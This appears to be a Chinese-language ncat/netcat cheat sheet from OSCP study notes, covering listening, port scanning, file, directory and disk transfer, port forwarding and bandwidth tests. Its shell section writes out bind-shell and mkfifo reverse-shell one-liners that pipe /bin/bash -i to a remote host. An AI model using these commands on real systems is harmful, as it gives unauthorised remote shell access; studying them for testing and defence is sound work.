ncat使用總結

功能

1. 監聽本地端口
2. 鏈接目標端口
3. 傳送文件
4. Remote Administration with Netcat(OSCP中給的分類,不知道此分類的做用,須要深刻學習)
5. 反彈shell
6. 測兩臺機器間的網速

監聽本地端口

# 臨時監聽端口
nc -l <PORT> # 臨時監聽TCP端口一次
nc -lu <PORT> # 臨時監聽UDP端口

# 以監聽TCP端口爲例,監聽UDP端口基本同樣

服務器端臨時 監聽端口
ncat使用總結
客戶端嘗試鏈接服務器端
ncat使用總結
創建TCP鏈接
ncat使用總結
客戶端斷開鏈接時,服務器端也關閉端口的監聽
ncat使用總結shell

nc -lk <PORT> #永久監聽TCP端口
nc -lku <PORT> #永久監聽UDP端口
# 永久監聽:監聽端口,而且客戶端端來鏈接時,服務器端依舊監聽等待鏈接;而且支持多客戶端同時鏈接。UDP端口相似。

ncat使用總結

鏈接目標端口

# 在監聽部分能夠找到鏈接的圖,接下來重點操做一下端口掃描;nc掃描端口會建立TCP三次握手鍊接,會形成必定的流量,容易被發現。
nc <IP> <PORT>  # 鏈接目標TCP端口
nc -u <IP> <PORT> # 鏈接目標UDP端口
# 使用上述命令鏈接tcp或UDP端口,鏈接成功後會阻塞在用戶輸入中,讓用戶與目標端口進行交互。此外還有一種非交互模式,適合用來掃描端口。
nc -z <IP> <PORT> #掃描目標TCP端口
nc -zu <IP> <PORT> # 掃描目標UDP端口
#  -w參數的適用場景:掃描UDP端口;網絡情況很差。在網絡情況良好是,掃描TCP端口沒有必要使用此參數。
nc -z -w1 <IP> <PORT> range

ncat使用總結

ncat使用總結

傳送文件

此部分須要兩臺機器的配合

A機:數據存儲機器
B機:備份機器

TCP傳送文件bash

B: nc -l <PORT> > filename
A: nc <IP> <PORT> < filename

文件傳送完成後,鏈接自動斷開

ncat使用總結

UDP傳送文件服務器

#B
nc -lu <PORT> > filename

#A
nc -u <IP> <PORT> < filename

# 文件傳輸完成後,鏈接不會斷開,可反覆鏈接B機進行文件傳輸。

# UDP更適合作一個日誌接受端,其餘的機器都把經過nc把日誌寫入到監聽的UDP機器上

ncat使用總結

ncat使用總結
傳送目錄網絡

# 傳送目錄與傳送文件是同樣的,只是經過tar將目錄打包爲壓縮文件傳過去並自定tar解包,實現傳送目錄的功能
#B
nc -l <PORT> | tar zxvf -

#A
tar zcf - * | nc <IP> <PORT>

傳送分區tcp

B: nc -l <PORT> | dd of=/dev/sda
A: dd if=/dev/sda | nc <IP> <PORT>

反彈shell

# nc有-e選項時

#server
nc -l <PORT> -e /bin/bash -i

#client
nc <IP> <PORT>
# nc沒有-e選項時,建立正向shell

#server
mkfifo /tmp/fifo && cat /tmp/fifo | /bin/bash -i 2>&1 | nc -l <PORT> > /tmp/fifo

#client
nc <IP> <PORT>
# 建立反向shell(服務器端鏈接客戶端,而後受客戶端控制)
#client: 
nc <IP> <PORT>

#server: 
mkfifo /tmp/fifo && cat /tmp/fifo | /bin/bash -i 2>&1 | nc <IP> <PORT> > /tmp/fifo && rm -rf /tmp/fifo

端口轉發

# server
nc -l <target port>
mkfifo /tmp/fifo && cat /tmp/fifo | nc localhost <target port> | nc -l <listen port> > /tmp/fifo

# client
nc -n <IP> <listen port>

測機器間網速

A: nc -l <PORT> >/dev/null
B: nc <IP> <PORT> < /dev/zero

A、B:watch -n 1 "/sbin/ifconfig <interface> | grep bytes"

參考文章

相關文章
相關標籤/搜索